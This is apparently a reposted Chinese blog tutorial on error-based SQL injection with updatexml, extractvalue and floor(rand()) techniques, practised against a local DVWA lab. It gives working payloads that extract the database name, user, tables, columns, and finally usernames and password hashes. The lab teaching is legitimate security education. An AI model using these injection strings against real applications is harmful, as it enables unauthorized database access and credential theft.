SQL注入实战之报错注入篇(updatexml extractvalue floor)

时间:2020-04-30 09:06:25   收藏:0   阅读:288

知识铺垫

在上一篇中我们在漏洞页面中进行了SQL注入实战之联合查询,这篇文章带来的是SQL注入之报错注入篇。

首先我们来细分一下SQL注入分类


SQL注入分类:

在探讨SQL注入之报错注入之前,有一个前提就是页面能够响应详细的错误描述,然而mysql数据库中显示错误描述是因为开发程序中采用了print_r  mysql_error()函数,将mysql错误信息输出。

还有就是一起默写一下SQL注入的核心语句吧,巩固记忆的同时,方便后续注入的使用~

information_schema

schemata(schema_name)

tables(table_schema,table_name)

columns(table_schema,table_name,column_name)

select schema_name from information_schema.schemata;

select table_name from information_schema.tables where table_schema=‘dvwa‘;

select column_name from information_schema.columns where table_name=‘users‘ and table_schema=‘dvwa‘;

select concat(username,password) from dvwa.users;


xpath报错注入(extractvalue和updatexml)

一、知识铺垫(请认真研读)

二、updatexml()报错注入实战(基于dvwa平台)

前景提示:本人在虚拟机中搭建好了dvwa平台,在本机中完成SQL注入实战,加载dvwa直接进入SQL注入模块,我这里的等级为low。

我将自己构造的payload语句进行加粗显示,剩下的都是固定格式。


开始注入

爆出数据库及相关信息
1‘ and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

技术分享图片

 

 

 爆当前数据库表信息

1‘ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

技术分享图片

 

 

 注:此处使用group_concat()函数进行输出,否则会出现错误。如下图所示。

技术分享图片

 

 

 爆user表字段信息

1‘ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘),0x7e),1) #

技术分享图片

 

 

 

爆数据库内容

1‘ and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

技术分享图片

 

 

 


三、extractvalue()报错注入实战(基于dvwa平台)
extractvalue()函数其实与updatexml()函数大同小异,都是通过xpath路径错误报错,而本人的示例中皆为利用0x7e(~),其不属于xpath语法格式,因此报出xpath语法错误。

1‘ and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

技术分享图片

 

 

 


1‘ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

技术分享图片

 

 

 


1‘ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users‘))) #

技术分享图片

 

 

 


1‘ and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

技术分享图片

 

 

 

floor()函数报错注入

一、概述

原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

二、函数理解

附带一下本次解释函数的表创建步骤(不再附图)以及数据的填充。

create database test1;
use test1;

create table czs(id int unsigned not null primary key auto_increment, name varchar(15) not null);

insert into czs(id,name) values(1,‘chenzishuo‘);
insert into czs(id,name) values(2,‘zhangsan‘);
insert into czs(id,name) values(3,‘lisi‘);
insert into czs(id,name) values(4,‘wangwu‘);

三、实战注入(基于dvwa平台)

①判断是否存在报错注入
id=1‘ union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#
技术分享图片

 

 可以看出存在报错注入
②爆出当前数据库名

id=1‘ union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
dvwa前的1 是哪个随机数,不要大惊小怪哦~
技术分享图片

 

 


③爆出表

id=1‘ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=‘dvwa‘ limit 0,1)) x from information_schema.schemata group by x#
技术分享图片

 

 


id=1‘ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=‘dvwa‘ limit 1,1)) x from information_schema.schemata group by x#
技术分享图片

 

 


④爆出字段名

id=1‘ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name=‘users‘ and table_schema=‘dvwa‘ limit 0,1)) x from information_schema.schemata group by x#
技术分享图片

 

 改变limit限定数值,可以得出当前的字段 user_id first_name user password


⑤爆出user和password

id=1‘ union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
技术分享图片

 

 

再解码可得 admin-password
技术分享图片

 

 大功告成!~~!



原文:https://www.cnblogs.com/c1047509362/p/12806297.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!